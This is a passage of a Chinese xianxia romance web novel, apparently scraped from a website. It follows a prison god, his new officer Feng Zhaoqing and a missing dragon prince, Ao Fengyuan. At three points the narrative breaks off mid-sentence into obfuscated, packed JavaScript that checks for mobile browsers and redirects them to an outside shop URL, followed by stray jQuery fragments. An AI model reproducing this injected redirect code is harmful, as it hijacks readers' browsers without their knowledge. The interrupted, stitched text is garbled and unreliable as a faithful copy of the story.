风照卿没有亲人,带上天界的物什少之又少,敖丰元嫌他行囊寒酸,硬是塞了几件珍宝法器给他。 “这是水中焰,你以后去北海玩若是觉得冷就拿它取暖;这是九境葫芦,可同时容纳三百只妖兽,内壁以万年玄铁炼制,除了玲珑塔没有什么东西比它更坚固;还有……”敖丰元一样一样介绍道。 风照卿不好意思收这么多贵重礼物,却又拗不过敖丰元,无奈道:“那我就当帮你暂时保管吧,你若要用了,随时来取。” “照卿~有空记得常来看我啊,奴家又要独守空闺了。”敖丰元学着小娘子的模样用手指绕着一缕银丝,对风照卿挤眉弄眼道,给他激了一身鸡皮疙瘩,忙不迭地跑了。 —— 风兮仪曾经的屋舍已经打扫干净了,风照卿可以直接拎包入住。 月至中空,他躺在床榻上,望着镂空竹窗外的明月,竟有些失眠。翻来覆去,终于还是选择到外头散散步。 天狱正殿和牢房阴森可怖,但后院狱官们的住处却十分幽静惬意。星河如瀑布般顺山坠下,落入茂密的竹林中,一条小溪自竹林蜿蜒而出,潺潺围绕着四座寝殿,泉水叮咚,常有鱼儿嬉戏,空气中弥漫着浓郁的百花香气,叫人心驰神往,此等怡人景象与牢狱简直毫不相关 风照卿无所事事,便沿溪而行,走进竹林,数百步后一座典雅素净的花园现于眼前。它坐落在竹林中的一片空地,星河汇聚处是一汪莲池,月辉洒落其中,青莲合起花瓣,似在沉睡。 他半跪在池边,伸手摸了摸那朵青莲娇嫩细腻的花瓣,嘴角不自觉勾起了一抹淡淡的笑,又站起身,逐一欣赏着四周娇艳的百花,竟未察觉池中青莲已在不知不觉间消失,直到那个清润的声音在身后响起,风照卿才明白此地为何被高竹围起。 “谁让你进来的?”元出尘震怒的声音中带着微不可察的困意,凤眸凌厉,几乎要将风照卿盯穿。本来听闻天帝将风照卿派来接任朱雀狱官一职,元出尘心底是有些莫名欣喜的,可又一次被这家伙搅了美梦,他实在是开心不起来。 风照卿转过身,看到月光下仅着中衣,发丝微乱的元出尘,一时梗住。 元出尘真的烦死风照卿每次对他的问题恍若未闻,大步流星走到他面前,怒喝道:“你是耳背吗!” 熟悉的莲香扑鼻,风照卿忍不住望向元出尘。 白皙细腻的肌肤因愤怒染了几分红霞,浓黑的剑眉微蹙着,纤长浓密的睫毛在脸上撒了一道阴影,更显凤眸深邃,墨绿色的瞳孔写满了愤怒,纤巧高挺的鼻梁下薄唇湿润殷红,犹如桃花一般。 他生得极美,眉宇却无阴柔之气,更添了一丝耐人寻味,直叫百花失色。 上一世的缠绵悱恻不受控制地自脑海深处奔腾喧嚣而出,风照卿面上滚烫,低下头不愿再看元出尘,可这一低头,却看到了他微敞的胸襟下凌厉的肌肉线条。 这下风照卿不止是面上滚烫,浑身都不自在了,狠推了一把元出尘,慌张道:“衣冠不整,成何体统!离我远点!” 元出尘惊愕得说不出话:这人在梦游吗?怎么敢在我的寝殿,打扰我休憩,还如此理直气壮义正严辞地怒斥我衣冠不整?! “这是我的寝殿,现在是子时!难不成我还得衣冠楚楚地等着你三更半夜闯进来赏花赏月吗?” “……”风照卿一时无语,确实是自己理亏在先,但他一低头却看到元出尘的衣襟处绣着一朵栩栩如生的青莲,针法之精妙,世间无二,不是出自织女之手还能是谁? 一股无名火乍然在胸中腾腾燃烧:先是天帝又是织女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052713|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,觉得你这五百年过得了无生趣我真是大错特错! 元出尘将他微妙的变化尽收眼底,心中不解:他莫不是梦游被本君震醒,神志出了问题? 刚想走上前去查看一番,谁料刚迈出一步,风照卿忽然一道掌风劈来,他侧身险险避过,身后的翠竹则被拦腰斩断,元出尘见寝宫被砸,自是恼怒,未待发作,风照卿便飞身扑来,二人齐齐摔进莲池,溅起冲天水花。 沧海涯大雪纷飞苍茫一片,一青一红两道身影自池塘破冰而出,孤鸟惊飞。 只见寒月之下两人在雪地里扭打作一团,但仔细一瞧竟是元出尘单方面挨打。此处是凡界,元出尘没了法力,只能硬扛着风照卿结结实实的每一拳。 元出尘见他真是失心疯了,竟敢对自己拳打脚踢,心中怒骂,奋力挣扎,谁料人没挣脱出来,衣襟却敞得更开了,他雪白的胸膛被冻得通红,胸前的鞭痕更是触目惊心。 那些鞭痕毫无征兆地闯入风照卿的视线,他不禁怔住,举着的拳头定在空中迟迟未落。 这是什么…… 风照卿拳头渐渐松开,想抚上那些伤痕,忽然,一道金光自元出尘袖口飞出,将风照卿手脚捆住,他这才踉跄着从雪地上爬起。 元出尘衣着单薄,又失了法力护体,在这冰天雪地里根本扛不住,但依然装出一副泰然自若的模样,一声不吭地擦去了嘴角的血,努力控制住自己冷得发颤的手指,整理好衣衫,从容地扫去了身上的雪,然后才走进竹屋,笨拙地生火。 那金光正是捆仙索,风照卿越是挣扎却被捆得越牢。他挣脱无果,只好放弃,安静地躺在地上看着元出尘默默生火的清瘦背影,忍不住问道:“你胸口的鞭痕是怎么回事?” 元出尘没理会风照卿,兀自烤着火。这寒冬腊月他仅着一件中衣,还莫名其妙被下属在雪地里揍了一顿,四肢都快冻僵了。 见他不答,风照卿不依不饶道:“狱神不是金身不破吗?纵使天雷也不会给你留下伤疤,究竟是被什么伤的?” 元出尘眉头紧蹙,怒喝道:“与你何干?本君是你的上司,何时轮到你质问本君?” “……” 他不说,风照卿自然也能猜个七八分,狱神金身不破,那这些伤疤定然是他接任以前造成的,元出尘接任前曾下凡历劫,或许是那时候伤的。 于是风照卿又问道:“是下凡历劫时遇到了什么?” 元出尘斜乜了风照卿一眼,眼神几乎要喷火:“不该问的东西别问!深夜擅闯狱神寝宫本君还没找你算账呢!” 元出尘霍然起身,负手而立,居高临下看着这个被自己五花大绑的少年。少年虽面容青涩,却已有天人之姿,眉若墨画,目如朗星,眼角一颗泪痣给俊朗的脸平添了几分悲天悯人之意,薄唇微翘,带着少年人的倔强不甘。 真好看。 一个莫名其妙的念头忽然从脑袋里钻了出来,元出尘本就被冻红的耳根徒然更红了几分,内心不禁自觉羞耻,竟对一个毛头小子产生了这种想法,但面上还死撑着一副气定神闲的姿态。 他故作正经地轻咳了一声,下一刻便将风照卿从地上拽起,扬手熄了炭火,走到莲池边。 天寒地冻,不过一个时辰莲池又结了冰,元出尘不由分说地把风照卿丢进去,以肉身将冰面砸碎。 “你!”风照卿肩膀侧脸磕在冰面上,冻得没了知觉。身下冰碎,他一落入水中便穿回了天狱。 元出尘跟在他身后走出来,端着一贯矜贵清冷的姿态道:“你夜闯狱神寝宫以下犯上,当杖责三十,”他斜眼看了一眼满脸怒意的风照卿,心里却觉得有趣,也不大想罚他了,便改口道,“念及初犯,就罚你闭门思过三日,即刻执行。” 元出尘话音刚落,风照卿便被一股狂风卷走,一路呼啸着回了寝室,重重摔在床上,门“砰”的一声合上,缚住手脚的捆仙索也消失了。 风照卿走到门口,果然打不开。 他想到自己方才一时冲动对他大打出手,不禁懊恼地一拳锤在门上:他与哪些仙女神女暧昧不清与我何干?他身上的鞭痕是怎么回事又与我何干?为什么要无理取闹…… 8. 第 8 章 玄武狱官一大清早在坐在溪边哼着小曲儿,心情愉悦地清点着刚拿到手俸禄——十万功德八万香火。狱官一职因为需要上天入地捉拿罪仙,须得修为高强,非上仙不要,可又不似其他仙官那般可以升职,工作内容又较为危险,所以为了留住出色的狱官,天界开出的俸禄是相当可观的。 忽见一抹青衫自竹林走出,玄武连忙把东西收进袖子里,正欲行礼,却看到元出尘脸上竟有多处淤青,关切道:“大人,您这是……” “无妨,”元出尘不愿多说,准备到天牢审问罪仙,想了想,又说道,“把你的面具借我。” “啊?”玄武微微一愣,但也不敢怠慢,连忙把挂在腰间的备用面具递了过去。 元出尘对这青面獠牙的面具很是满意,既能多几分狱神该有的凶神恶煞,又不会叫那些罪仙看到自己脸上挂彩。 玄武狱官继续悠闲喂鱼,元出尘刚走出几步,又回头说道:“对了,我罚了新来的朱雀狱官三日禁闭,这几日南方的案子劳你代为处理。” “啊……是。”早知道不多嘴了,还得无偿加班! “还有……” 怎么还有……玄武狱官哭丧着脸,数钱带来的快乐一下子就烟消云散了。 “在风兮仪手里发现水丝一事,天帝交给敖丰元去查,你不必去北海了。” “诶?”玄武狱官一愣,没想到自己居然不用出差了,后知后觉地乐道:“是!” “近来南海太平,没什么可忙的,别哭丧着一张脸。”元出尘隔着面具也知道玄武会是什么反应,悄悄翻了个白眼,悠哉悠哉往天牢去了。 天牢里阴冷彻骨,九头狮正从容来回踱步,时不时冲着狭小牢房怒吼一声,四周哀吟不绝,大多罪仙都中了毒又受了不同程度的刑罚,在幽暗的一方牢房中苟延残喘,看到那一抹青衫悠悠走来,心头的恐惧瞬间压过了疼痛。 元出尘掀起眼皮一扫,定在了左侧第二个牢房上,白虎狱官会意,将那牢房中关押的涂山狐粗暴地生拉硬拽出来。 元出尘手捧一杯清茶,吹开茶叶轻抿一口,享受地眯起眼睛。 这狐仙是个修为平平的男子,不难看出他给自己罩了一副好皮囊,看上去白净清秀,一双翦水秋瞳楚楚可怜,柔若无骨的身子蜷缩在地上瑟瑟发抖。 他本该是下凡散缘,却爱了一个凡修,心生歹念,使魅术勾引那人,又杀了那凡修心爱的姑娘,被阎王爷亲自告上天狱。 “香火琳宫涂山少央,滥用法术,枉杀无辜,你可认罪?”元出尘冷冷道,戴着青面獠牙的面具更是让人畏惧胆寒。 “我,我没杀,没杀她!不是我杀的,是那个凡人,是他杀的!”涂山少央柔美的脸上爬满了恐惧,语无伦次道,“是他自己说那女妖生得五大三粗膀大腰圆,他早已厌烦,我算过卦了,他们本就没有结果……” “住口!”元出尘厉声喝道,眼底暴戾难掩。 白虎狱官早看他这假皮囊不顺眼了,手中带刺的刑鞭一甩,涂山少央白嫩的脸上霎时皮开肉绽。 “啊——我的脸!”涂山少央崩溃哭喊,一鞭子下去灵力溢散,现了原形,原是只相貌粗鄙毛色污脏的野狐。 白虎狱官啐了一口在他脸上:“狗东西,只会使些幻形术自欺欺人。” “卑鄙下作之徒,满嘴谎话,还敢出言不逊,冒犯死者。”面具下的元出尘神情阴鸷,恨不能扒了他的皮做狐裘。 “就是,分明是你眼馋那位俊俏儿郎的身子,使了魅术勾引!现在你身在天狱,法术失效,那凡人恢复神志知晓自己害死了爱人,已引咎自尽!你还敢狡辩!”白虎狱官怒道。 涂山少央面色惨白,茫然道:“什么?九郎死了?” 白虎狱官听了这话没由来的一阵恶心:“你还有脸叫他九郎?他这一世是个清修道士,本无断袖之癖,叫你污了清誉又害死了心爱之人,还有何脸面见人?” 涂山少央没理会白虎狱官,疯了一般时而嬉笑时而怒骂,嘴里不停地喃喃着:“不会的,九郎爱的是我……我本就生得美啊,我是涂山最美的狐仙……天杀的黑熊妖,你怎配得到九郎?阴魂不散……我不是野狐,我父亲是涂山白狐,不是野狐!别打我,别打我!” 元出尘对此司空见惯。罪仙惯用儿时凄苦作为自己筑恶果的理由,可善恶不过一念之间,同样境遇成长,有人心怀善意,得道后除魔正道,有人却心存怨念,要将世人拖入炼狱。 “涂山少央,滥用法术,枉杀无辜,依天规处死刑,永世不得位列仙班。”元出尘言简意赅地发号施令,牢房内的其他罪仙听了,有些已然吓晕。 天狱内的日子没有任何新意:处理案子,捉拿罪仙,审问罪仙,行刑,归档。一年又一年,一眼望到头。元出尘困乏地挥挥手,下一个罪仙又被带上来,他叹了口气,不知又要听到什么故事了。 —— 北海龙宫终年飘雪,银装素裹,四下万籁俱寂。敖丰浅正坐在殿内批阅奏折,忽闻外头传来一阵喧哗,微微蹙眉不悦,正要发话,龟丞相便一脸喜色地游进来道:“启禀陛下,丰元殿下回来了!” 闻言,敖丰浅喜出望外,立刻扔了手中的奏折,一阵风似的出了龙宫,便见弟弟摇着玉折扇,正满面春风地和簇拥着他的虾兵蟹将嬉笑着,见她出来迎接自己欢快地招手道:“姐姐!” “丰元,你怎么回来了?”敖丰浅无不惊喜道,自从敖丰元被罚去鸿雁阁,忙得晕头转向,一年也回不了一趟北海,姐弟二人已许久未见。 “当然是想姐姐啦!”敖丰元端着一脸人畜无害的笑容凑到敖丰浅面前。 敖丰浅闻言很是受用,但也清楚弟弟的性子,开门见山道:“少拿漂亮话糊弄我。说吧,又有什么事要拜托我?” 敖丰元笑嘻嘻地凑到敖丰浅面前,说道:“姐姐真是料事如神!不过这次可不是我的私事。” “哦?”敖丰浅挑眉道。 “姐姐可有听闻前任朱雀狱官的命案?” “自然。”那日正值她举办寿宴,很难不记得。 敖丰元拉着姐姐到殿内坐下,遣了所有人离开,又仔细步了道隔音结界,这才神神秘秘地说道:“狱神大人在风兮仪的手中发现了水丝的残余,命我前来调查此事。” “什么?!”敖丰浅惊道。三界内只有龙族皇室才能拥有水丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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敖丰浅点头道:“不错。四海水丝每五百年仅有一匹,皆有记录在册,只要对照记录,查查谁手中的水丝少了,应该就能顺藤摸瓜抓到凶手了。” “姐姐!你真是太棒了!”敖丰元激动地搂着姐姐,仿佛已经抓住凶手了,“事不宜迟,我这就回天复命去!” “什么?!你都多久没回家了,坐下还没半个时辰就要走了?”敖丰浅微怒道。 “哎呀,姐姐~人命关天,事关重大!况且,夙忆表姐说了,这是给我的机会,若是能立功,便免去我的责罚,到时我随时都能回北海看你!”敖丰元扯着姐姐的袖子撒娇道,神神秘秘地从袖子里拿出一个盒子,塞到姐姐手里,“喏,弟弟送你的寿礼!” 敖丰浅接过盒子,刚一打开,敖丰元就“咻”地游出去了,她看着盒子里的眼歪鼻斜的龙神冰雕气不打一处来:“臭小子!这是你路上临时捏的吧!” 敖丰元把姐姐的怒吼甩在身后,身心愉悦地踩着祥云悠哉悠哉向着南天门飞去,手上摇着玉折扇,嘴里哼着小曲儿,丝毫没有注意到身后的危险,待到他听见那破空之声时,竟已躲避不及,一支灵箭霎时穿透了他的肩膀,他只见得一抹黑色的衣袂翩飞,之后便摔落云端…… 9. 第 9 章 禁闭三日如弹指一瞬,这三日青龙狱官隔着窗户向风照卿简单介绍了其他几位狱官:“玄衣玉肌,纤细苗条,头戴银月簪……哦不,他的簪子丢了有些时日了……在外时时带着蛇头面具的是玄武狱官柳凌云;金衣鹤发,高大魁梧,腰挂破煞刀的是白虎狱官白刃山;在下,青龙狱官李若竹。” “狱官的日常事务便是:协助狱神探案,下界捉拿逃犯,整理卷宗归档。对待狱神大人须得恭敬有礼,不得以下犯上,我见你这点做的还远远不够,日后会多加督促,这也是为你好,狱神一鞭子可不是寻常人受得住的。”青龙腰杆笔直,身姿端庄得犹如一尊雕像。 “你们都被打过吗?”风照卿问道。 青龙顿了一下,道:“那倒没有。我们都很敬重狱神大人,不会犯这种低级错误。” 旋即,又继续依着《狱官守则》一字一句念道:“下界捉拿逃犯,须得先去归尘台找通界掌事李紫叶拿通界令牌,否则就是私自下界,要受二十天雷,即使是狱官也不得从宽。捉拿逃犯不得干预凡界事务,否则受二十天雷;无狱神指示不得私自对逃犯用刑,否则受五十天雷……” 青龙脑子一根筋,不懂变通,说话做事一板一眼,天条天规倒背如流,简直像一本活的天界条律。 风照卿听得有些昏昏欲睡,只是大概知道狱官的差事比鸿雁使费时费神得多。不过,抓捕罪仙的过程中似乎有许多历练的机会,于他而言也不失为一桩美事,虽说他的灵力修为都尚在,但也数百年不曾动刀动枪了,须得多加练习才是。 这三日内南海居然几乎没有异常,要知道天上一天地上一年,这说明整整三年里,凡界南方都是一片太平。 其他三位狱官羡慕不已,三界仙族多,罪仙也多,他们若能得一日清闲便偷着乐了。 风照卿刚到天狱任职,也不好意思独自休息,便主动揽下了整理卷宗的活,刚踏进兰台,便见元出尘坐在窗边,盯着手里的一支灰棕色羽翼出神。 阳光在他俊美的脸上撒了一层金辉,刻画出他柔而不妖的棱角,乌黑如瀑的长发上依然只有简单的红绳木簪,显得清正修雅。那一刻的元出尘褪去了平日冷漠无情的面具,仿佛又变成了五百年前那个良善的少年。 风照卿走上前去,问道:“风前辈的案子有进展了吗?” 元出尘摇头轻叹道:“除了指缝中残留的水丝,没有任何线索。但那日恰逢北海龙王寿宴,所有拥有水丝的龙族皇室都去为北海龙王贺寿了,不可能在天界。” “北海或许有线索?” 元出尘道:“嗯,天帝已着敖丰元回北海细查,还未有消息传回。” 敖丰元是北海龙太子,龙王敖丰浅是他亲姐姐,细查寿宴一事由他去比玄武狱官合适,他也正好可以趁此机会立功,抵去责罚。 倏的,一道金光落在兰台门口,竟是天帝亲临。元出尘不便离宫,天帝也不好失了身份主动到其他神官殿内,因此平日二人交流全靠传音铃,若是天帝亲临,必有大事。 元出尘上前问道:“何事?” 烛夙忆沉声道:“丰元失踪了。” “什么?!”风照卿惊道,也顾不上自己在天帝面前失态了。 烛夙忆这才看了风照卿一眼,知道他与敖丰元交好,并未与他计较,继续道:“我三天前就命他回北海调查,结果迟迟不回,本以为他是贪玩在北海逗留,谁知丰浅说他当日就回来了。” 风照卿退后半步,不慎撞倒了高高垒起的卷宗,元出尘眼疾手快拉了他一把,这才没被砸到。 前有风兮仪横死天街,后有敖丰元查案失踪,风照卿心中的不安愈发强烈。 “鸿明用传音铃召唤没有回应;丰浅发动了北海水族搜查,也没有在北海地界发现丰元的行踪,北方的土地公也不曾见过他……”向来沉着稳重的烛夙忆心底也不禁升腾起了担忧。敖丰元是她的表弟,此次派他去探查,本是希望能借此机会为他免了责罚,早日回龙神殿恢复正职,却不想竟发生了意外。 “不会的!丰元他待人向来亲和,他……”风照卿哑声,突然想起风兮仪又何尝不是待人亲厚?最终的下场又是如何? 大约是感同身受,元出尘鬼使神差地伸出手拍了拍风照卿的背,聊表安慰。烛夙忆将这动作尽收眼底,但眼下没空多想。 “仙人回天界只有南天门一个入口,从北海到南天,除了忘川地府,敖丰元途径任何地点都是有可能的,不可像无头苍蝇似的大海捞针。”元出尘道。 烛夙忆低头沉思:传音铃没有回应,定是丰元失了法力,龙神族以龙珠为内丹,也就是说丰元的龙珠已经离体,而龙珠所在之处定是风水宝地,福泽深厚。事关重大,她无暇多留,只说了一句“我去查看一下何处有异”便离开了。 元出尘见风照卿神情恍惚,道:“振作点,青龙他们这些天忙得不可开交,若有了消息还得你去找他。” 风照卿点点头,意识到自己竟半靠在元出尘怀里,慌张站到一边:“抱歉,失礼了。” 元出尘习惯了别人一见他便仓惶逃窜的模样,但看到风照卿对他如此避之不及还是有些不舒服,嘴上却还是淡淡道:“无妨。” 不过一刻钟,元出尘腰间的银铃便响起,烛夙忆的声音幽幽传来:“西方边陲有个乌苏国,本是常年干旱战乱四起,这三年来忽然风调雨顺,万民安康。” “我这就去!”风照卿急切离开。 忽听身后烛夙忆的声音又缓缓响起:“狱神,你亲自去一趟吧。” 风照卿和元出尘都怔住了,元出尘不可置信道:“你要我离开天狱?你可知我离了天狱法力全无,海灵珠也没用吗?” “知道。” “……” “新来的朱雀狱官虽年纪轻轻,但法力高深,是我亲自挑选的,你带着他一块儿去,有他在你不会有事的。” “你……为什么非要我去?”元出尘完全无法理解。 “我信任你。” 之后银铃就再没响过,徒留元出尘气愤得想将它捏碎:烛夙忆,你想置我于死地直说便是! 但事关重大,风照卿不待元出尘多想就拉着他往南天门去,元出尘任由他火急火燎地拉着自己踩上一朵祥云,无奈道:“你这样去南天门,天兵不会放行的。” “什么?”风照卿愣了一下,这才想起离开仙官离开天界需得通界令牌,“抱歉,是我一时心急,那我们先去归尘台找通界掌事。” 元出尘见他着急忙慌的样子,心里有种说不上来的感觉,一开口竟有些酸溜溜的:“你上天不过一月有余,与敖丰元就交情如此深厚?” 风照卿不知该怎么解释,总不能实话实说,他觉得总能在丰元身上看到自己从前的影子吧?那样率真的心性他早已丢失,但他希望丰元能一直如此。 不过话说回来,我又何必对元出尘解释?他算什么?想到这儿,风照卿敷衍道:“投缘吧。” 元出尘不再开口,他觉得风照卿这天真缺心眼的模样有些似曾相识,可细想脑子却一片空白。 归尘台是天界神仙下界历劫的通道,由通界掌事李紫叶看守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052715|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若是神仙需要下界处理事务,也须得来此领令牌方可从南天门离开。 从前四位狱官为了下界抓捕罪仙,是此处的“常客”,今日见到狱神亲临,李紫叶惊出一身冷汗。 “不,不知狱神亲临,下官有,有失远迎。”李紫叶结结巴巴道。 元出尘看也不看李紫叶一眼,负手立于一旁。他从前就不喜欢这只鲤鱼精,觉得他不过是个谄媚小人,背靠天帝,连龙门阵都没资格参与居然就被提上来当了通界掌事。 “见过通界掌事,我与狱神大人受天帝之命,秘密下界处理事务,特来取通界令牌。”风照卿客气道,对李紫叶报以一笑。 李紫叶一身淡黄官袍上绣着许多红艳的枫叶,腰间悬着一只精致小巧的葫芦,眼神躲闪无辜,在风照卿看来倒是模样单纯。 李紫叶对上风照卿的笑眼,募地一怔,整个人忽然有些恍惚,嘴里不知呢喃了一句什么。 “啊?”风照卿没听清他说的话。 李紫叶情不自禁向他走近了几步,元出尘见状,横出一臂挡在风照卿身前,不悦地瞪了李紫叶一眼,他这才停下了脚步,顿了顿,似是回过了神,眼底却有万般失落,但还是勉强扯了个难看的笑,道:“抱歉,小仙认错人了……二位请稍等,”李紫叶在册子上登记后便转身取了两块令牌交给风照卿,问道,“不知二位此番下界是有何事要处理?” 风照卿刚要开口,元出尘就不悦道:“本君下界处理事务还须与你解释?” “不不不!是下官多嘴了,请狱神大人莫怪。”李紫叶连连道歉。 元出尘没有吭声,只是眼底略有寒意,见风照卿已拿到令牌,便兀自离开了。 “狱神身份特殊,不便让他人知晓下界一时,还望掌事体谅。”风照卿客气道,正想跟上元出尘,忽然被李紫叶拉住了衣袖。 “狱官莫怪,小仙……小仙有一事相求。”李紫叶开口道。 李紫叶看向风照卿的眼神带着一丝渴望,他不禁有些讶异,好奇通界掌事能有什么事要求狱官的,便说道:“掌事但说无妨。” 李紫叶深深叹了口气:“小仙有个妹妹,许多年前在下界失踪了,我负责看守归尘台没办法去找她,只好拜托每位下界的仙官们帮忙留意留意。” 原来如此,竟是兄妹情深。风照卿心一软,问道:“你妹妹年岁几许?相貌身量如何?” “家妹名唤李扶摇,如今该有一千岁了,与朱雀狱官一般身量,容貌与我三分像,眉间有颗朱砂痣。” “好的,若有形貌相似之人,我必会留意。” “多谢朱雀狱官!” 风照卿踩着祥云去追元出尘,却发现他牵着一条细犬,正在南天门等自己,心里忽然泛起了一丝涟漪,看向元出尘的眼神里难得有了一丝柔意,停在元出尘面前,道:“还以为你先走了呢。” “本君倒是想走,可惜没法力驾不了云。”元出尘双手抱胸无奈道。 风照卿脚一滑,险些从云上摔下去,心里的涟漪眸中的柔意瞬间荡然无存,生硬道:“那还不赶紧上来!我还急着去找丰元呢。” 元出尘蹙眉不悦,阴阳怪气道:“是急着找丰元还是急着找妹妹?” “……”风照卿懒得与他多费口舌,看了一眼在元出尘脚边的细犬问道,“为何带上啸天?” “你身上不是有丰元送的法器吗?西方边陲也不是个小地方,让啸天帮忙事半功倍。”元出尘说道,引着啸天坐上了祥云。 风照卿不再多言,念了个诀,像阵风一样下到了凡界。 10. 第 10 章 番外篇 黑暗中的时间流逝得格外慢,敖丰元不知自己睡了多久,只觉得浑身疼痛,脸上似乎敷着一块冰冷的布,他怀疑自己已经到了冥界。 敖丰元的手动了动,忽然,一只温暖的手握住了他,一个温润的声音在耳边响起,柔声问道:“你醒了?” 敖丰元想坐起来,可随便一动身上就疼得像是要散架了,那女子连忙制止他:“别动,你浑身是伤,刚敷了药。” “你……是谁?我在哪?”敖丰元问道,随着逐渐清晰,浑身疼痛越发明显,尤其是眼睛…… “我叫白忍冬,此地是南蛮。前几日乌苏国国王请我爷爷去为他医治,归途看到你在路上被一群人殴打,便将你救出来。” 敖丰元最后的记忆停留在被那个凡人踢踹,直到龙珠吐出,他便失去意识了…… 回想至此,敖丰元背后一阵凉意,在黑暗中胡乱摸索着,强行运气:“龙珠,我的龙珠……” 没了……龙珠没了…… 敖丰元还来不及崩溃,忽然发觉脸上敷着的布掉了,可他眼前还是一片漆黑,而眼眶的疼痛越发剧烈…… “我的眼睛……我的眼睛呢?!”他痛苦地大喊着,顾不上浑身的伤硬要下床,狼狈地摔在地上。 白忍冬见他情绪失控,赶紧上前扶起他,又叫了一旁的丫鬟一起强行将他拖到床上。敖丰元依然在黑暗中不停地摸索着,企图抓到一丝光亮,却是徒劳。两行血水从他的脸颊滑落,白忍冬看得心头酸涩,抱着他轻声安慰道:“没事的没事的,我会治好你的……” “治……怎么治,我现在什么都没有了,就是个废人,还不如死了……”敖丰元抱着头哭喊道。 白忍冬闻言,心揪作一团。她见到敖丰元时他早就失去意识了,那人分明是想把他活活打死,四周围了许多人,却没有一个人敢上前制止,若非爷爷是国王请来的贵客,只怕都拦不住。 他浑身是血躺在地上,眼珠子被挖了出来,额头上也有两个血洞,鼻子嘴巴耳朵都渗着血,只剩一口气了,足足躺了三月才终于恢复神智。 “我……我一定会竭尽所能帮你的。”白忍冬诚恳道。 敖丰元不再说话,一连几日都只是颓丧地靠在床上,仿佛一个没有灵魂稻草人一般。 白忍冬不知该如何让他振作,只是不辞辛苦地照顾着他,每天给他喂药换药,他很配合,却依然毫无生气。 白忍冬低头思考着心病该如何医治,手里的空碗渐渐歪斜也没注意,直到它终于从手中滑落,碎了一地才吓了一跳回过神来。 敖丰元也被这突如其来的动静吓了一跳,终于开口说了一句话:“你,没事吧?” 白忍冬闻言,来不及去捡地上的碎片,惊喜道:“你愿意说话了?” 敖丰元却又闭口不言了。 白忍冬沮丧地轻叹了一口气,道:“我没事。” 敖丰元犹豫片刻,轻声道:“那就好。” 白忍冬的杏眼亮晶晶,按耐住性子,轻声道:“不知公子姓甚名谁?家住何处?” “我……我叫丰元,家在,在北境。”敖丰元不敢轻易说出自己龙族的身份,自己这一身伤可不就是这么惹来的吗…… “北境……乌苏国那里那么远,你怎么会在那儿?”白忍冬问道。 “嗯……办事。”敖丰元含糊其辞道。 所幸白忍冬也不是打破砂锅问到底的性子,问到这也就算完了。 “你,你能送我回去吗?”敖丰元在黑暗中摸到一片衣角,像是抓住了一根救命稻草一般,紧紧攥住不肯撒手。虽说他还不敢完全对白忍冬坦诚,但是他能感觉到白忍冬不是坏人,她和伤害自己的人味道不一样。 “可以,”白忍冬毫不犹豫道,伸手覆上敖丰元冰凉的手,“不过,这里离北境本就极远,我爷爷是江湖游医,沿途还会停下为百姓治病,恐怕得走个好几年呢。” “不要紧!能回去就好,多久都行。”敖丰元急忙说道。 “好,但你得先把伤养好。”白忍冬温柔道。 把伤养好。敖丰元伸手捂住自己的眼睛,失落地低下头:在凡界怎么可能养得好…… —— 每夜敖丰元都会被眼睛的剧痛折磨醒,白忍冬为了照顾他,便在屋子里搭了个简易小床。日夜守在他身边悉心照料。如此过了一个月,敖丰元眼睛的伤终于不再那么折磨人,只是依然常常梦到自己被剜去双眼,夜半惊出一身冷汗。 “白姑娘……”敖丰元分不清白天黑夜,只是醒了之后就下意识地喊白忍冬的名字。 很快就有一双温暖的手握住他,应道:“我在呢。” “我来这里多久了?”敖丰元问道。 “一个月了。你的腿恢复得很好,再过些天就能下床走路了。”白忍冬说道。其实不止是腿伤,敖丰元身上的伤都已经好得七七八八了,即使失了法力,他的恢复速度比凡人快许多,白忍冬不明所以,还以为是自己悉心照料的结果,为此十分欣喜。 “这些日子,真是多谢了。”敖丰元由衷道。 白忍冬浅浅一笑,道:“不碍事,我很高兴能帮上忙。” 两手相握,白忍冬能感觉到敖丰元手里的茧子,爷爷说这是习武之人常年握剑留下的,她忽然有些好奇,小心翼翼问道:“丰元公子,不知你从前是做什么的?” 敖丰元呼吸微微一滞,支支吾吾道:“我,我是北,北境凡修。” “原来如此。”白忍冬深信不疑,但又觉得奇怪道,“既是凡修,应该会法术吧?那个人怎么把你伤成这样?你们是仇人吗?” 敖丰元摇摇头,他也不知道那个人究竟是谁,莫名其妙出现,分明是个好吃懒做之徒却不知为何力大无穷,竟将丰元打得毫无还手之力。 “我不知道他是谁,我丢了法器,现下用不了法术了……” “原来如此,”白忍冬见他沮丧地低下头,适时转移话题道:“该换药了,你等我一会儿。” 白爷爷在屋前帮人把完脉,见白忍冬出来拿药,问道:“那位公子可有好些?” “嗯!”白忍冬笑颜灿烂,道,“可能因为是修仙之人,所以好得很快。” 